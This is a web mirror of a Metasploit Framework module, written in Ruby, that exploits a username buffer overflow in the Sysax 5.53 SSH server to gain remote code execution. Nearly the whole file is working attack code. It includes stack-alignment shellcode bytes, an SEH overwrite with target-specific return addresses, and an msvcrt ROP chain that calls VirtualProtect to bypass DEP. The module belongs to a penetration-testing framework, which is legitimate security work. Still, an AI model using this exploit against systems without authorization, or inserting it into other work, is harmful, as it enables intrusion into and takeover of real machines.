Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ssh/sysax_ssh_username.rb
19566 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::SSH
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',
17
'Description' => %q{
18
This module exploits a vulnerability found in Sysax's SSH service. By
19
supplying a long username, the SSH server will copy that data on the stack
20
without proper bounds checking, therefore allowing remote code execution
21
under the context of the user. Please note that previous versions
22
(before 5.53) are also affected by this bug.
23
},
24
'License' => MSF_LICENSE,
25
'Author' => [
26
'Craig Freyman', # Initial discovery, PoC
27
'sinn3r' # Metasploit
28
],
29
'References' => [
30
['OSVDB', '79689'],
31
['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],
32
['EDB', '18535']
33
],
34
'Payload' => {
35
'Space' => 1024,
36
'BadChars' => "\x00\x3a",
37
'StackAdjustment' => -3500
38
},
39
'DefaultOptions' => {
40
'EXITFUNC' => 'seh'
41
},
42
'Platform' => 'win',
43
'Targets' => [
44
[
45
'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',
46
{
47
'Rop' => false,
48
'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe
49
}
50
],
51
[
52
'Sysax 5.53 on Win2K3 SP1/SP2',
53
{
54
'Rop' => true,
55
'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN
56
}
57
]
58
],
59
'Privileged' => false,
60
'DisclosureDate' => '2012-02-27',
61
'DefaultTarget' => 0,
62
'Notes' => {
63
'Reliability' => UNKNOWN_RELIABILITY,
64
'Stability' => UNKNOWN_STABILITY,
65
'SideEffects' => UNKNOWN_SIDE_EFFECTS
66
}
67
)
68
)
69
70
register_options(
71
[ OptInt.new('RPORT', [false, 'The target port', 22]) ]
72
)
73
end
74
75
def check
76
begin
77
connect
78
banner = sock.get_once(-1, 5) || ''
79
disconnect
80
vprint_status("Banner: #{banner}")
81
if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)
82
return Exploit::CheckCode::Appears
83
end
84
rescue StandardError
85
vprint_error('An error has occurred while trying to read a response from target')
86
return Exploit::CheckCode::Unknown
87
end
88
89
Exploit::CheckCode::Safe
90
end
91
92
def generate_regular_exploit
93
#
94
# Align the stack to the beginning of the fixed size payload
95
#
96
align = "\x54" # PUSH ESP
97
align << "\x58" # POP EAX
98
align << "\x04\x08" # ADD AL,0x08
99
align << "\x8b\x18" # MOV EBX, [EAX]
100
align << "\x93" # XCHG EAX,EBX
101
align << "\x66\x2d\x10\x04" # SUB AX,0x361
102
align << "\x50" # PUSH EAX
103
align << "\xc3" # RET
104
105
#
106
# Our payload limited to 1024+4 bytes
107
#
108
p = make_nops(4)
109
p << payload.encoded
110
111
#
112
# Craft the buffer like this:
113
# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]
114
# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room
115
# for the IP length, so the next 9404-byte space will begin at a consistent place.
116
# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a
117
# partial-overwrite to allow a null byte in SEH.
118
#
119
buf = ''
120
buf << rand_text(392, payload_badchars)
121
buf << rand_text(20, payload_badchars)
122
buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20
123
buf << p
124
buf << align
125
buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back
126
buf << [target.ret].pack('V*')
127
buf
128
end
129
130
def generate_rop_exploit
131
junk = rand_text(4).unpack('L')[0].to_i
132
nop = make_nops(4).unpack('L')[0].to_i
133
134
# !mona rop -m msvcrt
135
p =
136
[
137
0x77bb2563, # POP EAX # RETN
138
0x77ba1114, # <- *&VirtualProtect()
139
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
140
junk,
141
0x77bb0c86, # XCHG EAX,ESI # RETN
142
0x77bc9801, # POP EBP # RETN
143
0x77be2265, # ptr to 'push esp # ret'
144
0x77bb2563, # POP EAX # RETN
145
0x03C0990F,
146
0x77bdd441, # SUB EAX, 03c0940f
147
0x77bb48d3, # POP EBX, RET
148
0x77bf21e0, # .data
149
0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
150
0x77bbfc02, # POP ECX # RETN
151
0x77bef001, # W pointer (lpOldProtect) (-> ecx)
152
0x77bd8c04, # POP EDI # RETN
153
0x77bd8c05, # ROP NOP (-> edi)
154
0x77bb2563, # POP EAX # RETN
155
0x03c0984f,
156
0x77bdd441, # SUB EAX, 03c0940f
157
0x77bb8285, # XCHG EAX,EDX # RETN
158
0x77bb2563, # POP EAX # RETN
159
nop,
160
0x77be6591, # PUSHAD # ADD AL,0EF # RETN
161
].pack('V*')
162
163
p << payload.encoded
164
165
#
166
# Similar buffer structure to generate_regular_exploit
167
#
168
buf = ''
169
buf << rand_text(392, payload_badchars)
170
buf << rand_text(20, payload_badchars)
171
buf << rand_text(1012, payload_badchars)
172
buf << p
173
buf << rand_text(9204 - buf.length)
174
buf << rand_text(4, payload_badchars)
175
buf << [target.ret].pack('V*')
176
buf
177
end
178
179
def exploit
180
#
181
# Create buffer based on target (DEP or no DEP)
182
# If possible, we still prefer to use the regular version because it's more stable
183
#
184
if target['Rop']
185
buf = generate_rop_exploit
186
else
187
buf = generate_regular_exploit
188
end
189
190
#
191
# Send the malicious buffer
192
#
193
pass = rand_text_alpha(8)
194
begin
195
print_status("Sending malicious request to #{rhost}:#{rport}...")
196
factory = ssh_socket_factory
197
ssh = Net::SSH.start(
198
datastore['RHOST'],
199
buf,
200
password: pass,
201
port: datastore['RPORT'],
202
timeout: 1,
203
proxy: factory,
204
config: false,
205
non_interactive: true,
206
verify_host_key: :never
207
)
208
209
::Timeout.timeout(1) { ssh.close }
210
rescue Errno::ECONNREFUSED
211
print_error("Cannot establish a connection on #{rhost}:#{rport}")
212
return
213
rescue StandardError => e
214
if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)
215
print_error("Please remove #{rhost}:#{rport} from your known_hosts list")
216
return
217
end
218
end
219
220
handler(ssh)
221
end
222
end
223
224